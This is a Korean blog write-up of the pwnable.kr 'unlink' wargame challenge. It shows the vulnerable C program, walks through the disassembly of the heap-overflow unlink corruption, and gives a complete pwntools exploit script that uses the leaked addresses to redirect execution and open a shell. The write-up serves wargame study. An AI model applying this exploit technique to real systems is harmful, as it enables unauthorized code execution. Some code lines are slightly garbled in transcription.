본문 바로가기
[ ★ ]Study/War Game

[Toddler's Bottle] pwnable.kr unlink 풀이

by nroses-taek 2017. 9. 17.
반응형

 
시작은 unlink corruption 검색해서 공부하면 되겠네요.

파일은 flag, intended_solution.txt, unlink/.c 이렇게 4 있네요.
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ {
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}
OBJ;
void shell() {
    system("/bin/sh");
}
void unlink(OBJ* P) {
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]) {
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));
    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;
    printf("here is stack address leak: %p\n"&A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
    // exploit this unlink!
    unlink(B);
    return 0;
}
cs
 
unlink 취약점에 대해서 공부를 하시고 오시기를 추천드립니다. @+@
 
이제 소스코드를 보시죠.
1
2
3
4
5
gets(A->buf);
 
// exploit this unlink!
unlink(B);
return 0;
cs
A overflow 시켜서 공격을 하는 문제입니다.

우선 ABC 구조를 보겠습니다.
Heap영역의 주소를 친절하게 알려줍니다. 그리고 위에 사진을 보시다 시피
A <=> B <=> C 구조가 되어있는 것을 있습니다.
ABC 모두 아래와 같은 구조로 이루어져있습니다.
pre_size
size
fd
bk
DATA
 
A fd에는 B 주소가 있습니다. ( 빨간색 네모 )
B fd에는 C 주소가 bk에는 A 주소가 있습니다. ( 파란색 네모 )
C bk값에는 B 주소가 들어있습니다. ( 핑크 네모 )
다시 A<=>B<=>C 구조라는 것을 있습니다.
 
이제 데이터를 넣어봅시다. 

gets(A->buf) A 8 입력해줬습니다.
 
보시다시피 gets 함수 취약점으로 인해서 B 영역까지 침범할 있으며
B fd bk값을 변경할 있습니다. 같이 보실까요 ?
A 입력되는 시점으로부터 21~24 입력값은 fd, 25~28까지의 입력은 bk
덮을 것이라는 추측이 됩니다.
입력을 해봅시다. 입력은
A*20 + B*4 + C*4 입력하겠습니다. fd값은 B bk값은 C이겠죠?
 

unlink 내부로 들어와서 자세히 보면
unlink+6부분에 ebp+0x8 main함수에서 unlink(B) 코드에서 인자로 들어온 B입니다.
unlink+12 실행하고 보면 eax 값에 CCCC 있으며, ebp-0x4 저장합니다.
bk값은 ebp-0x4 저장됩니다.

unlink+20 부분을 보시면 ebp-0x8에는 fd값이 들어갑니다.
 
이로써 우리는 가지 있는 점은 B fd bk값을 바꿀 있다는 것입니다.
fd = ebp-0x8
bk = ebp-0x4

이제 후에 자세히보면
+26, +29 부분에서 fd + 4에다가 bk 넣습니다.
후에는 bk에다가 fd 저장합니다.
 
 
 
이제 B unlink A C 값들을 보겠습니다.

A fd B 아닌 C 가리킵니다.
C bk B 아닌 A 가리키고 있습니다.
 
before unlink(B) :

 
after unlink(B) :

이런 구조가 되었습니다. ( 당연하겠죠? )
 
이제 핵심 구문을 다시 볼텐데 차근차근 봅시다.

main 마지막 부분을 보면 평소와 다른 구조를 보입니다.
+212부분을 보시면 ecx-0x4 esp 넣고 ret 수행합니다.
ecx-0x4 리턴하기 전에 ebp-0x4 ecx 넣습니다.
거슬러 unlink 함수 내부로 가시면

ebp 조작할 있습니다. 말은 에필로그를 통해 esp 우리가 컨트롤을 있다는 말입니다. leave 통해 ebp값을 esp 넣을 있죠. 그리고 ret명령어가 기다립니다.
 그러면 마지막 ecx-0x4 리턴되는 값도 우리의 몫이라고 볼 수 있죠. RET를 어디로 이동시킬 것이냐가 중요하겠네요 이젠

ebp-0x4 주소는 갈색네모이며
A 주소는 빨간 네모입니다. ebp-0x14 부분이죠. 어디로 가실지 예상하셨죠?
(아니 갑자기 ebp-0x14, ebp-0x4 뭐뭐뭐!?? 어떻게 나온거야 ?!)

프로그램 시작시 A 주소를 알려주는 착한 주소

그리고 친절하게 입력해서 찾기 ebp-0x4 찾기
A의 시작주소와 ebp-0x4 의 차이는 0x10 차이입니다.

결과적으로 우선 페이로드를 생각해보면
`python -c 'print"쉘함수주소" + "더미12" + "heap+12 ( A 주소 + 12 )" + "A 주소 + 16 ( ebp-0x4 )"
해서 함수를 실행시키면 같습니다.
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= process("/home/unlink/unlink")
 
p.recvuntil("here is stack address leak: ")
stack = int(p.recv(10),16)
p.recvuntil("here is heap address leak: ")
heap = int(p.recv(10), 16)
 
print p.recvline()
 
payload = p32(0x080484eb)
payload += "a"*12
payload += p32(heap+12)
payload += p32(stack+0x10)
 
 
p.send(payload)
p.interactive()
cs
 

tmp 여기서 flag 파일을 aaaa 링크걸어서 했어요 @@ !



===참고하면 좋은 사이트===


반응형

댓글